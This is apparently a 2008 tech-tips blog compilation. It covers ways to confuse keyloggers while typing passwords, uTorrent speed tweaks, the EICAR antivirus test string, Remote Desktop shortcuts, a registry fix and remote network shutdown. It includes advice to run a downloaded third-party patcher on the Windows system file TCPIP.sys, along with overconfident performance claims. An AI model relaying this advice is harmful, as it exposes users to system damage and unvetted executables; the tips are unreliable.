Our aim here is to confuse the keylogger by making it log some gibberish instead of our valid password. Off course, this is not completely foolproof though. Nothing is foolproof on the net. We only have to make it harder for the hacker.(Note: These are tips I personally follow. If you have better ones, let everyone know by commenting here.)
Types of Key Loggers
We’ll be dealing with two types of keyloggers; software and hardware keyloggers.
1. Software keyloggers on the other hand are much more complex and hence difficult to deal with. Most of them record keystrokes, mouse events, clipboard activity..etc. So our best bet is to scramble the keystokes smartly.
2. Hardware keyloggers are much easier to detect. They are mostly attached between the keyboard and the CPU. A manual inspection should be enough in most cases.
How to confuse and avoid the software keyloggers ?
Let’s say we have to enter a password ‘jazz’.
1. Click the password box, type any random key. Select the entered random key with the mouse and type j. So we entered the first letter of the password.
2. Click the password box, type a random key. Again click and type a random key. Select the last two letters with your mouse and type the next valid key of your password.
In this case we managed to enter 2 unwanted characters as against one in the first step.
Continue in a similar way to finish typing the password. You can choose any number of random characters between your password.
So the keylogger will log something like:
[click]b[click]j[click]g[click]m[click]a[click]v[click] z[click]t[click]c[click]z
Note how we used unwanted mouse clicks so that a mouse click is recorded before the random letters also. You can also experiment entering the password in the reverse order, infact any order.
This method can be used for entering the username too, since most banks have account numbers as username. If you are suffering from some keylogger phobia, use this technique while typing the url too.
Another way is utilizing the browser’s search bar or address bar to camouflage the password.
For eg. Click the password box and type a letter of the password. Now click the browser’s address bar or search bar and type some unwanted letters. Alternate between the password box and address/search bar till you finish. The result will be the same as the former method.
Monday, September 1, 2008
Ultimate utorrent tweaks to make maximum out of your bandwidth
Optimum Bandwidth Settings
The Speed Guide in utorrent is the easiest way to get right upload and download speed. Press [Ctrl + G] or go to options>speed guide. There you will get a drop downbox . connection type, which lets you choose your closest connection speed. Then click Use Connection Settings. The maximum number and other settings will be automatically applied.
Setting Up Ports
Since utorrent is a p2p client, thus you need to have open ports which act as entry point for people to get ta from you. If you don’t have open ports you won’t get sufficient download rate either.Some ISP’s and routers block. If you are using routers, set it up to forward the ports on using in utorrent. You can check to find the correct port using the options>speedguide. Enter a port number and check it. It will open up a new web page which can tell if the port is open or not. If not choose a different port till u find the correct port number.
Encrypting Network Data
Similarly some ISP’s try to limit the bandwidth to p2p applications. uTorrent have protocol encryption which makes detection and limiting by ISP’s harder.You can enable protocol encryption by going to Options > Preferences > Bittorrent. There is a section called as Protocol Encryption, choose Enabled or Force. This can speed up your bandwidth.
Removing the Connection Limit for XP
Here we are going to modify and replace a system file, So do it at your own risk. But its sure does work.First backup your TCPIP.Sys. Now if you are using windows XP Sp2, the chances are your “maximum half open connection limit is most likely to 10. There are pacthes availble which can remove this problem. One such patcher is http://www.lvllord.de/?lang=en&url=downloads . Download the English version and execute the exe in it.
Tip for Vitsa to increase utorrent speed.
Go to Options -> Preferences -> Advanced. The second option under Advanced is ‘net.bind_ip’. Set this to the IP address of your computer. Restart utorrent. This will definetly increase download speed and seeds also.
Using the Web Interface:
uTorrent has a web interface called as Web UI. This allows you to control uTorrent remotely through a browser. You can do pretty much the same things you can do with the program on your computer.To enable WebUI, go to options > Preferences > Advanced > Web. Click on Enable Web interface. Enter username and password. You can download the Web Ui from http://forum.utorrent.com/viewtopic.php?id=14565. Download and uncompress the rar file and copy it to Documents and Settings/[Your username]\Application Data\utorrent.IE sometimes doesnt work with it,So either use opera or firefox. Now to access your utrrrent from web open url which should be like this http://Machine_name_or_IP:Port/gui. It will ask for User name and password. There you go ….use from anywhere you want
Settings Download Speed Schedules
uTorrent like any other download manager has a scheduler but it goes one step ahead. You can speed limits during certain period of time. To use it go to Options > Preferences >Scheduler. Click on Enable Scheduler. Here you can setUpload and download rate when the schedule is enabled. You can see scheduler table where you can click on any day and give your preferences to Limit, Turnoff or Full speed and set the bandwidth usage. Dark green is full speed, light green is limited speed and white is turned off.
Create New torrent and add them to trackers
You can create your won torrent file and upload to trackers. Select from menu, File > Create New Torrent > Add file or directory. Enter the address of the tracker that you want to upload, Give a name and save it.You can also select if you want to start seeding now or even you can make it private.Now you can pass it to torrent or friends.
All these setting can definetly help you to make maximum usage out of your bandwidth. I have tested them and it works great for me. I am sure will work for you too.Enjoy it !!!
For More Tips Visit http://www.technospot.net
How to check if your antivirus is working [ Antivirus ]
#1 Open Notepad and paste this string into it ( without double quotes )
“X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* ”
#2 Save it and as soon as you do your antivirus real time protection should be able to detect it. In case you have disabled the real time protection run a scan for this file.
And Some AntiVirus Software Might Warn You After You Rename it to Exe File Extension
This file actually is a dummy virus which simulates like a Virus which is provided by EICAR for distribution as the “EICAR Standard Anti-Virus Test File”, The file is a legitimate DOS program, and produces sensible results when run (it prints the message “EICAR-STANDARD-ANTIVIRUS-TEST-FILE!”). You can read more on this at EICAR Antivirus Test File
Microsoft Remote Desktop Connection Keyboard Shortcut
- CTRL + ALT + END : Opens the Microsoft Widnows NT security dialog box.
- ALT + PAGEUP : Switch between programs left to right.
- ALT + PAGEDOWN : Switch between programs right to left.
- ALT + INSERT : Cycle through programs in most recently used order.
- ALT + HOME : Display Start Menu.
- CTRL + ALT + BREAK : Switch the client computer between a window and full screen.
- ALT + DELETE : Displays the windows menu.
- CTRL + ALT + Minus Sign (-) : Place a snapshot of the active window in the client the terminal server, same as PRINT SCREEN on a local computer.
- CTRL + ALT + Plus Sign (+) : Place a snapshot of the entire window in the client the terminal server, same as PRINT SCREEN on a local computer.
How to Get "Show Hidden Files and Folders" Back if it is Missing
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden]
Modify the string value "Type" and enter "group" as value data.
After the edit is complete hit F5 to refresh, and go look in your Folder Options.
Shut Down / Re-boot / Logoff Computers on Network
If you have a group of computers running on a network and you are planning to reboot or shutdown or may be logoff all the users in one shutdown then you need to try this inbuilt utility of Windows.
Type in Shutdown -i in run dialog box and you would see the GUI which allows you to add set of computers to network and then reboot them.
After you send them for reboot the users will see the message that their computer is going down. Just give them enough time to save their work. You can specify the time there . You need to have permissions for doing this. It is possible that remote computer might not have given you the permission to boot it off.
This might not work if you try it on your local network without active directory. You need to have computers connected to a server for doing this.
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